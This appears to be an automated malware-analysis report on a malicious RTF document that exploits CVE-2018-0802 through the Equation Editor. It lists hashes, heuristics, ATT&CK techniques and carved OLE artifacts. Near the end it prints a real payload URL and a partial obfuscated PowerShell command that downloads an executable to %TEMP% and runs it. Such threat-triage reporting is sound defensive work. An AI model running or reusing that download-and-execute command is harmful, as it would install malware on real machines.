RTF malware analysis — malicious · 657b6434618b6e9d

MALICIOUS

RTF

11.2 KB First seen: 2019-01-11

MD5: 172c6ea14c57b02537f6dc20cf59e19d SHA-1: 270561b6450fbac93d72c9eebbde297cdeaaccd4 SHA-256: 657b6434618b6e9d74610d309e40415cccede2d6629df03cf5707b2f1b13ddc7

282 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The RTF file contains an embedded OLE object that exploits CVE-2018-0802 via the Equation Editor. The document body contains a lure to 'ENABLE EDITING', which would likely trigger the exploit and download a payload from the embedded URLs. The presence of shellcode and URL indicators strongly suggests a malicious dropper.

Heuristics 8

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM

RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://217.182.9.196/4.exe In RTF body
- http://217.182.9.1In RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000ae.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xAE	478 bytes
SHA-256: `2680ac741e2b94c2ee03f7f1e50b224f6e47fe5c9ea745ee267e3c90b5097714`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://217.182.9.196/4.exe Static shellcode analysis recovered command string(s): PoWerShELL ""function abc([String] $vvd){(New-Object System.Net.WebClient).downLoadFile($vvd,'%TEMP%\win.exe');staRt-pRoCeSS '%TEMP%\win.exe';}try{abc('http://217.182.9.1
`objdata_01_off00000528.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x528	4681 bytes
SHA-256: `2a3b94a2586ceca7b995cef4297ade9adfcf39facc69dc7f8c34d135955cedd6`

Open this report in the interactive analyzer, or submit your own file for analysis.